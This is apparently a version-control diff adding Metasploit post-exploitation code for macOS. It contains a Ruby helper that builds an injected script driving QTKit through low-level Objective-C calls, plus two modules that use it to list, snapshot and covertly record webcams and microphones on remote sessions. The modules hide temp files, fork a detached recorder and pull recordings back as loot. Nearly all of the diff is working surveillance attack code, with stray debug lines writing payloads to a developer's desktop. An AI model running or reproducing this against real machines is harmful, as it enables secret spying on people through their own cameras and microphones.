Finish fixing ruby 1.8.7 regressions. Works on 10.8 and 10.7.
parent
54af2929f5
commit
7ebe6635ea
|
@ -0,0 +1,376 @@
|
|||
module OSXRubyDLHelpers
|
||||
def osx_ruby_dl_header
|
||||
<<-EOS
|
||||
require 'dl'
|
||||
require 'dl/import'
|
||||
|
||||
#### Patches to DL (for compatibility between 1.8->1.9)
|
||||
|
||||
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
|
||||
|
||||
def ruby_1_9_or_higher?
|
||||
RUBY_VERSION.to_f >= 1.9
|
||||
end
|
||||
|
||||
def malloc(size)
|
||||
if ruby_1_9_or_higher?
|
||||
DL::CPtr.malloc(size)
|
||||
else
|
||||
DL::malloc(size)
|
||||
end
|
||||
end
|
||||
|
||||
# the old Ruby Importer defaults methods to downcase every import
|
||||
# This is annoying, so we'll patch with method_missing
|
||||
if not ruby_1_9_or_higher?
|
||||
module DL
|
||||
module Importable
|
||||
def method_missing(meth, *args, &block)
|
||||
str = meth.to_s
|
||||
lower = str[0,1].downcase + str[1..-1]
|
||||
if self.respond_to? lower
|
||||
self.send lower, *args
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
EOS
|
||||
end
|
||||
|
||||
def osx_capture_media(opts)
|
||||
capture_code = <<-EOS
|
||||
#{osx_ruby_dl_header}
|
||||
|
||||
options = {
|
||||
:action => '#{opts[:action]}', # or list|snapshot|record
|
||||
:snap_filetype => '#{opts[:snap_filetype]}', # jpg|png|gif|tiff|bmp
|
||||
:audio_enabled => #{opts[:audio_enabled]},
|
||||
:video_enabled => #{opts[:video_enabled]},
|
||||
:num_chunks => #{opts[:num_chunks]}, # wachawa!
|
||||
:chunk_len => #{opts[:chunk_len]}, # save chunks every 5 seconds
|
||||
:video_device => #{opts[:video_device]}, # automatic
|
||||
:audio_device => #{opts[:audio_device]},
|
||||
:snap_jpg_compression => #{opts[:snap_jpg_compression]}, # compression ratio (between 0 & 1), JPG ONLY
|
||||
:video_compression => '#{opts[:video_compression]}',
|
||||
:audio_compression => '#{opts[:audio_compression]}',
|
||||
:record_file => '#{opts[:record_file]}',
|
||||
:snap_file => '#{opts[:snap_file]}'
|
||||
}
|
||||
|
||||
RUN_LOOP_STEP = 0.1 # "tick" duration for spinning NSRunLoop
|
||||
|
||||
# NSTIFFFileType 0
|
||||
# NSBMPFileType 1
|
||||
# NSGIFFileType 2
|
||||
# NSJPEGFileType 3
|
||||
# NSPNGFileType 4
|
||||
SNAP_FILETYPES = %w(tiff bmp gif jpg png)
|
||||
|
||||
snap_filetype_index = SNAP_FILETYPES.index(options[:snap_filetype].to_s)
|
||||
|
||||
require 'fileutils'
|
||||
FileUtils.mkdir_p File.dirname(options[:record_file])
|
||||
FileUtils.mkdir_p File.dirname(options[:snap_file])
|
||||
|
||||
#### Helper methods for objc message passing
|
||||
|
||||
if not ruby_1_9_or_higher?
|
||||
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
|
||||
# so we have to reload the lib into separate modules with different
|
||||
# exported typedefs, and patch objc_call to do our own typechecking.
|
||||
# this can probably be done better.
|
||||
module LibCWithInt
|
||||
extend Importer
|
||||
dlload 'libSystem.B.dylib'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_msgSend(void *, void *, int, int)'
|
||||
end
|
||||
module LibCWithFloat
|
||||
extend Importer
|
||||
dlload 'libSystem.B.dylib'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_msgSend(void *, void *, double, double)'
|
||||
end
|
||||
module LibCWithVoidPtrInt
|
||||
extend Importer
|
||||
dlload 'libSystem.B.dylib'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_msgSend(void *, void *, void*, int)'
|
||||
end
|
||||
module LibCWithIntVoidPtr
|
||||
extend Importer
|
||||
dlload 'libSystem.B.dylib'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_msgSend(void *, void *, int, void*)'
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def objc_call(instance, method, arg=nil, arg2=nil)
|
||||
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
|
||||
# so we have to reload the lib into a separate with different exported typedefs,
|
||||
# and call
|
||||
if not ruby_1_9_or_higher? and arg.kind_of?(Integer)
|
||||
if not arg2.kind_of?(Integer) and not arg2.nil?
|
||||
LibCWithIntVoidPtr.objc_msgSend(instance, LibCWithIntVoidPtr.sel_getUid(method), arg||0, arg2)
|
||||
else
|
||||
LibCWithInt.objc_msgSend(instance, LibCWithInt.sel_getUid(method), arg||0, arg2||0)
|
||||
end
|
||||
elsif not ruby_1_9_or_higher? and arg2.kind_of?(Integer)
|
||||
LibCWithVoidPtrInt.objc_msgSend(instance, LibCWithVoidPtrInt.sel_getUid(method), arg||0, arg2)
|
||||
elsif not ruby_1_9_or_higher? and arg.kind_of?(Float)
|
||||
LibCWithFloat.objc_msgSend(instance, LibCWithFloat.sel_getUid(method), arg||0.0, arg2||0.0)
|
||||
else
|
||||
QTKit.objc_msgSend(instance, QTKit.sel_getUid(method), arg, arg2)
|
||||
end
|
||||
end
|
||||
|
||||
def objc_call_class(klass, method, arg=nil, arg2=nil)
|
||||
objc_call(QTKit.objc_getClass(klass), QTKit.sel_getUid(method), arg, arg2)
|
||||
end
|
||||
|
||||
def nsstring(str)
|
||||
objc_call(objc_call(objc_call_class(
|
||||
'NSString', 'alloc'),
|
||||
'initWithCString:', str),
|
||||
'autorelease')
|
||||
end
|
||||
|
||||
|
||||
#### External dynamically linked code
|
||||
|
||||
VID_TYPE = 'vide'
|
||||
MUX_TYPE = 'muxx'
|
||||
AUD_TYPE = 'soun'
|
||||
|
||||
module QTKit
|
||||
extend Importer
|
||||
dlload 'QTKit.framework/QTKit'
|
||||
extern 'void *objc_msgSend(void *, void *, void *, void*)'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_getClass(void *)'
|
||||
end
|
||||
|
||||
#### Actual Webcam code
|
||||
autorelease_pool = objc_call_class('NSAutoreleasePool', 'new')
|
||||
|
||||
vid_type = nsstring(VID_TYPE)
|
||||
mux_type = nsstring(MUX_TYPE)
|
||||
aud_type = nsstring(AUD_TYPE)
|
||||
|
||||
devices_ref = objc_call_class('QTCaptureDevice', 'inputDevices')
|
||||
device_count = objc_call(devices_ref, 'count').to_i
|
||||
if device_count.zero? and not options[:actions] =~ /list/i
|
||||
raise "Invalid device. Check devices with `set ACTION LIST`. Exiting."
|
||||
exit
|
||||
end
|
||||
|
||||
device_enum = objc_call(devices_ref, 'objectEnumerator')
|
||||
devices = (0...device_count).
|
||||
map { objc_call(device_enum, 'nextObject') }.
|
||||
select do |device|
|
||||
vid = objc_call(device, 'hasMediaType:', vid_type).to_i > 0
|
||||
mux = objc_call(device, 'hasMediaType:', mux_type).to_i > 0
|
||||
vid or mux
|
||||
end
|
||||
|
||||
device_enum = objc_call(devices_ref, 'objectEnumerator')
|
||||
audio_devices = (0...device_count).
|
||||
map { objc_call(device_enum, 'nextObject') }.
|
||||
select { |d| objc_call(d, 'hasMediaType:', aud_type).to_i > 0 }
|
||||
|
||||
def device_names(devices)
|
||||
devices.
|
||||
map { |device| objc_call(device, 'localizedDisplayName') }.
|
||||
map { |name| objc_call(name, 'UTF8String') }.
|
||||
map(&:to_s)
|
||||
end
|
||||
|
||||
def device_stati(devices)
|
||||
devices.
|
||||
map { |d| objc_call(d, 'isInUseByAnotherApplication').to_i > 0 }.
|
||||
map { |b| if b then 'BUSY' else 'AVAIL' end }
|
||||
end
|
||||
|
||||
def print_devices(devices)
|
||||
device_names(devices).zip(device_stati(devices)).each_with_index do |d, i|
|
||||
puts "\#{i}. \#{d[0]} [\#{d[1]}]"
|
||||
end
|
||||
end
|
||||
|
||||
def print_compressions(type)
|
||||
compressions = objc_call_class('QTCompressionOptions',
|
||||
'compressionOptionsIdentifiersForMediaType:', type)
|
||||
count = objc_call(compressions, 'count').to_i
|
||||
if count.zero?
|
||||
puts "No supported compression types found."
|
||||
else
|
||||
comp_enum = objc_call(compressions, 'objectEnumerator')
|
||||
puts((0...count).
|
||||
map { objc_call(comp_enum, 'nextObject') }.
|
||||
map { |c| objc_call(c, 'UTF8String').to_s }.
|
||||
join("\n")
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def use_audio?(options)
|
||||
options[:audio_enabled] and options[:action].to_s == 'record'
|
||||
end
|
||||
|
||||
def use_video?(options)
|
||||
(options[:video_enabled] and options[:action].to_s == 'record') or options[:action].to_s == 'snapshot'
|
||||
end
|
||||
|
||||
if options[:action].to_s == 'list'
|
||||
if options[:video_enabled]
|
||||
puts "===============\nVideo Devices:\n===============\n"
|
||||
print_devices(devices)
|
||||
puts "\nAvailable video compression types:\n\n"
|
||||
print_compressions(vid_type)
|
||||
end
|
||||
puts "\n===============\nAudio Devices:\n===============\n"
|
||||
print_devices(audio_devices)
|
||||
puts "\nAvailable audio compression types:\n\n"
|
||||
print_compressions(aud_type)
|
||||
exit
|
||||
end
|
||||
|
||||
# Create a session to add I/O to
|
||||
session = objc_call_class('QTCaptureSession', 'new')
|
||||
|
||||
# open the AV devices
|
||||
if use_video?(options)
|
||||
video_device = devices[options[:video_device]]
|
||||
if not objc_call(video_device, 'open:', nil).to_i > 0
|
||||
raise 'Failed to open video device'
|
||||
end
|
||||
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
|
||||
input = objc_call(input, 'initWithDevice:', video_device)
|
||||
objc_call(session, 'addInput:error:', input, nil)
|
||||
end
|
||||
|
||||
if use_audio?(options)
|
||||
# open the audio device
|
||||
audio_device = audio_devices[options[:audio_device]]
|
||||
if not objc_call(audio_device, 'open:', nil).to_i > 0
|
||||
raise 'Failed to open audio device'
|
||||
end
|
||||
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
|
||||
input = objc_call(input, 'initWithDevice:', audio_device)
|
||||
objc_call(session, 'addInput:error:', input, nil)
|
||||
end
|
||||
|
||||
# initialize file output
|
||||
record_file = options[:record_file]
|
||||
output = objc_call_class('QTCaptureMovieFileOutput', 'new')
|
||||
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
|
||||
objc_call(output, 'recordToOutputFileURL:', file_url)
|
||||
objc_call(session, 'addOutput:error:', output, nil)
|
||||
|
||||
# set up video/audio compression options
|
||||
connection = nil
|
||||
connection_enum = objc_call(objc_call(output, 'connections'), 'objectEnumerator')
|
||||
|
||||
while (connection = objc_call(connection_enum, 'nextObject')).to_i > 0
|
||||
media_type = objc_call(connection, 'mediaType')
|
||||
|
||||
compress_opts = if objc_call(media_type, 'isEqualToString:', vid_type).to_i > 0 ||
|
||||
objc_call(media_type, 'isEqualToString:', mux_type).to_i > 0
|
||||
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
|
||||
nsstring(options[:video_compression]))
|
||||
elsif use_audio?(options) and objc_call(media_type, 'isEqualToString:', aud_type).to_i > 0
|
||||
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
|
||||
nsstring(options[:audio_compression]))
|
||||
end
|
||||
|
||||
unless compress_opts.to_i.zero?
|
||||
objc_call(output, 'setCompressionOptions:forConnection:', compress_opts, connection)
|
||||
end
|
||||
end
|
||||
|
||||
# start capturing from the webcam
|
||||
objc_call(session, 'startRunning')
|
||||
|
||||
# we use NSRunLoop, which allows QTKit to spin its thread? somehow it is needed.
|
||||
run_loop = objc_call_class('NSRunLoop', 'currentRunLoop')
|
||||
|
||||
# wait until at least one frame has been captured
|
||||
while objc_call(output, 'recordedFileSize').to_i < 1
|
||||
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
|
||||
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
|
||||
end
|
||||
|
||||
if options[:action] == 'record' # record in a loop for options[:record_len] seconds
|
||||
curr_chunk = 0
|
||||
last_roll = Time.now
|
||||
# wait until at least one frame has been captured
|
||||
while curr_chunk < options[:num_chunks]
|
||||
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
|
||||
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
|
||||
|
||||
if Time.now - last_roll > options[:chunk_len].to_i # roll that movie file
|
||||
base = File.basename(record_file, '.*') # returns it with no extension
|
||||
num = ((base.match(/\\d+$/)||['0'])[0].to_i+1).to_s
|
||||
ext = File.extname(record_file) || 'o'
|
||||
record_file = File.join(File.dirname(record_file), base+num+'.'+ext)
|
||||
|
||||
# redirect buffer output to new file path
|
||||
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
|
||||
objc_call(output, 'recordToOutputFileURL:', file_url)
|
||||
# remember we hit a chunk
|
||||
last_roll = Time.now
|
||||
curr_chunk += 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# stop recording and stop session
|
||||
objc_call(output, 'recordToOutputFileURL:', nil)
|
||||
objc_call(session, 'stopRunning')
|
||||
|
||||
# give QTKit some time to write to file
|
||||
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
|
||||
|
||||
if options[:action] == 'snapshot' # user wants a snapshot
|
||||
# read captured movie file into QTKit
|
||||
dict = objc_call_class('NSMutableDictionary', 'dictionary')
|
||||
objc_call(dict, 'setObject:forKey:', nsstring('NSImage'), nsstring('QTMovieFrameImageType'))
|
||||
# grab a frame image from the move
|
||||
m = objc_call_class('QTMovie', 'movieWithFile:error:', nsstring(options[:record_file]), nil)
|
||||
img = objc_call(m, 'currentFrameImage')
|
||||
# set compression options
|
||||
opts = objc_call_class('NSDictionary', 'dictionaryWithObject:forKey:',
|
||||
objc_call_class('NSNumber', 'numberWithFloat:', options[:snap_jpg_compression]),
|
||||
nsstring('NSImageCompressionFactor')
|
||||
)
|
||||
# convert to desired format
|
||||
bitmap = objc_call(objc_call(img, 'representations'), 'objectAtIndex:', 0)
|
||||
data = objc_call(bitmap, 'representationUsingType:properties:', snap_filetype_index, opts)
|
||||
objc_call(data, 'writeToFile:atomically:', nsstring(options[:snap_file]), 0)
|
||||
|
||||
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
|
||||
|
||||
# # delete the original movie file
|
||||
File.delete(options[:record_file])
|
||||
end
|
||||
|
||||
objc_call(autorelease_pool, 'drain')
|
||||
|
||||
EOS
|
||||
if opts[:action] == 'record'
|
||||
capture_code = %Q|
|
||||
cpid = fork do
|
||||
#{capture_code}
|
||||
end
|
||||
Process.detach(cpid)
|
||||
puts cpid
|
||||
|
|
||||
end
|
||||
File.write('/Users/joe/Desktop/fl.rb', capture_code)
|
||||
capture_code
|
||||
end
|
||||
end
|
|
@ -0,0 +1,129 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'shellwords'
|
||||
require File.join(Msf::Config.install_root, "lib", "osx_ruby_ld_helpers")
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
include OSXRubyDLHelpers
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Manage Record Microphone',
|
||||
'Description' => %q{
|
||||
This module will allow you to detect (with the LIST action) and
|
||||
capture (with the RECORD action) audio inputs on a remote OSX machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
|
||||
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
|
||||
OptString.new('TMP_FILE',
|
||||
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
|
||||
),
|
||||
OptString.new('AUDIO_COMPRESSION',
|
||||
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
|
||||
),
|
||||
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
|
||||
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
fail_with(Exploit::Failure::Unknown, "Invalid session ID selected.") if client.nil?
|
||||
fail_with(Exploit::Failure::Unknown, "Invalid action") if action.nil?
|
||||
|
||||
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
|
||||
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
|
||||
ruby_cmd = osx_capture_media(
|
||||
:action => action.name.downcase,
|
||||
:snap_filetype => '',
|
||||
:audio_enabled => true,
|
||||
:video_enabled => false,
|
||||
:num_chunks => num_chunks,
|
||||
:chunk_len => datastore['SYNC_WAIT'],
|
||||
:video_device => 0,
|
||||
:audio_device => datastore['MIC_INDEX'],
|
||||
:snap_jpg_compression => 0,
|
||||
:video_compression => '',
|
||||
:audio_compression => datastore['AUDIO_COMPRESSION'],
|
||||
:record_file => tmp_file,
|
||||
:snap_file => tmp_file
|
||||
)
|
||||
File.write('/Users/joe/Desktop/r.rb', ['ruby', '-e', ruby_cmd].shelljoin)
|
||||
|
||||
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
|
||||
if action.name =~ /list/i
|
||||
print_good output
|
||||
elsif action.name =~ /record/i
|
||||
@pid = output.to_i
|
||||
print_status "Running record service with PID #{@pid}"
|
||||
(0...num_chunks).each do |i|
|
||||
# wait SYNC_WAIT seconds
|
||||
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
|
||||
Rex.sleep(datastore['SYNC_WAIT'])
|
||||
# start reading for file
|
||||
begin
|
||||
::Timeout.timeout(120) do
|
||||
while true
|
||||
if File.exist?(tmp_file)
|
||||
# read file
|
||||
contents = File.read(tmp_file)
|
||||
# delete file
|
||||
rm_f(tmp_file)
|
||||
# roll filename
|
||||
base = File.basename(tmp_file, '.*') # returns it with no extension
|
||||
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
|
||||
ext = File.extname(tmp_file) || 'o'
|
||||
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
|
||||
# store contents in file
|
||||
title = "OSX Mic Recording "+i.to_s
|
||||
f = store_loot(title, "audio/quicktime", session, contents,
|
||||
"osx_webcam_rec#{i}.qt", title)
|
||||
print_good "Record file captured and saved to #{f}"
|
||||
print_status "Rolling record file. "
|
||||
break
|
||||
else
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Exploit::Failure::Unknown,
|
||||
"Client did not respond to new file request, exiting.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @cleaning_up.nil?
|
||||
@cleaning_up = true
|
||||
|
||||
if action.name =~ /record/i and not @pid.nil?
|
||||
print_status("Killing record service...")
|
||||
cmd_exec("/bin/kill -9 #{@pid}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,152 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'shellwords'
|
||||
require File.join(Msf::Config.install_root, "lib", "osx_ruby_ld_helpers")
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
include OSXRubyDLHelpers
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Manage Webcam',
|
||||
'Description' => %q{
|
||||
This module will allow the user to detect installed webcams (with
|
||||
the LIST action), take a snapshot (with the SNAPSHOT action), or
|
||||
record a webcam and mic (with the RECORD action)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||
'Platform' => [ 'osx'],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'Show a list of webcams' } ],
|
||||
[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ],
|
||||
[ 'RECORD', { 'Description' => 'Take a snapshot with the webcam' } ]
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]),
|
||||
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
|
||||
OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', "0.8"]),
|
||||
OptString.new('TMP_FILE',
|
||||
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
|
||||
),
|
||||
OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]),
|
||||
OptString.new('AUDIO_COMPRESSION',
|
||||
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
|
||||
),
|
||||
OptString.new('VIDEO_COMPRESSION',
|
||||
[true, 'Compression type to use for video', 'QTCompressionOptionsSD480SizeH264Video']
|
||||
),
|
||||
OptEnum.new('SNAP_FILETYPE',
|
||||
[true, 'File format to use when saving a snapshot', 'png', %w(jpg png gif tiff bmp)]
|
||||
),
|
||||
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
|
||||
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def fail_with(msg)
|
||||
raise msg
|
||||
end
|
||||
|
||||
def run
|
||||
fail_with("Invalid session ID selected.") if client.nil?
|
||||
fail_with("Invalid action") if action.nil?
|
||||
|
||||
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
|
||||
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
|
||||
ruby_cmd = osx_capture_media(
|
||||
:action => action.name.downcase,
|
||||
:snap_filetype => datastore['SNAP_FILETYPE'],
|
||||
:audio_enabled => datastore['AUDIO_ENABLED'],
|
||||
:video_enabled => true,
|
||||
:num_chunks => num_chunks,
|
||||
:chunk_len => datastore['SYNC_WAIT'],
|
||||
:video_device => datastore['CAMERA_INDEX'],
|
||||
:audio_device => datastore['MIC_INDEX'],
|
||||
:snap_jpg_compression => datastore['JPG_QUALITY'].to_f,
|
||||
:video_compression => datastore['VIDEO_COMPRESSION'],
|
||||
:audio_compression => datastore['AUDIO_COMPRESSION'],
|
||||
:record_file => tmp_file,
|
||||
:snap_file => tmp_file+datastore['SNAP_FILETYPE']
|
||||
)
|
||||
|
||||
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
|
||||
if action.name =~ /list/i
|
||||
print_good output
|
||||
elsif action.name =~ /record/i
|
||||
@pid = output.to_i
|
||||
print_status "Running record service with PID #{@pid}"
|
||||
(0...num_chunks).each do |i|
|
||||
# wait SYNC_WAIT seconds
|
||||
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
|
||||
Rex.sleep(datastore['SYNC_WAIT'])
|
||||
# start reading for file
|
||||
begin
|
||||
::Timeout.timeout(120) do
|
||||
while true
|
||||
if File.exist?(tmp_file)
|
||||
# read file
|
||||
contents = File.read(tmp_file)
|
||||
# delete file
|
||||
rm_f(tmp_file)
|
||||
# roll filename
|
||||
base = File.basename(tmp_file, '.*') # returns it with no extension
|
||||
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
|
||||
ext = File.extname(tmp_file) || 'o'
|
||||
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
|
||||
# store contents in file
|
||||
title = "OSX Webcam Recording "+i.to_s
|
||||
f = store_loot(title, "video/mov", session, contents,
|
||||
"osx_webcam_rec#{i}.mov", title)
|
||||
print_good "Record file captured and saved to #{f}"
|
||||
print_status "Rolling movie file. "
|
||||
break
|
||||
else
|
||||
Rex.sleep(0.3)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with("Client did not respond to new file request, exiting.")
|
||||
end
|
||||
end
|
||||
elsif action.name =~ /snap/i
|
||||
if output.include?('(RuntimeError)')
|
||||
print_error output
|
||||
return
|
||||
end
|
||||
|
||||
snap_type = datastore['SNAP_FILETYPE']
|
||||
img = read_file(tmp_file+snap_type)
|
||||
f = store_loot("OSX Webcam Snapshot", "image/#{snap_type}",
|
||||
session, img, "osx_webcam_snapshot.#{snap_type}", 'OSX Webcam Snapshot')
|
||||
print_good "Snapshot successfully taken and saved to #{f}"
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @cleaning_up.nil?
|
||||
@cleaning_up = true
|
||||
|
||||
if action.name =~ /record/i and not @pid.nil?
|
||||
print_status("Killing record service...")
|
||||
cmd_exec("/bin/kill -9 #{@pid}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue